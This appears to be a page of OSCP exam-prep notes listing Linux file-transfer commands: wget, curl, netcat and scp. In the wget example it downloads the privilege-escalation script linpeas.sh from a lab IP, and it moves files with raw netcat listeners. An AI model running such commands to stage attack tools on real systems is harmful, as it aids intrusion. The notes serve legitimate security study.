> For the complete documentation index, see [llms.txt](https://gabb4r.gitbook.io/oscp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://gabb4r.gitbook.io/oscp-notes/file-transfer/linux.md).

# Linux

## Wget

```
wget http://192.168.1.5/linpeas.sh -o linpeas.sh
```

## cURL

```
curl http://192.168.1.5/hello.txt -o hello.txt
```

## Netcat

**Sender**

```
nc -lvp 1234 < test.txt
```

**Receiver**

```
nc -nv 127.0.0.1 1234 > test.txt
```

## SCP&#x20;

* Copies files between two hosts over SSH

**Copy local file to remote system** -

```
scp file.txt remote_username@10.10.10.10:/remote/directory
```

**Copy remote file to local system -**

```
scp remote_username@10.10.10.10:/remote/file.txt /local/directory
```

**I**mprove scp performance by **using blowfish**

```
scp -c blowfish remote_username@10.10.10.10:/remote/directory
```
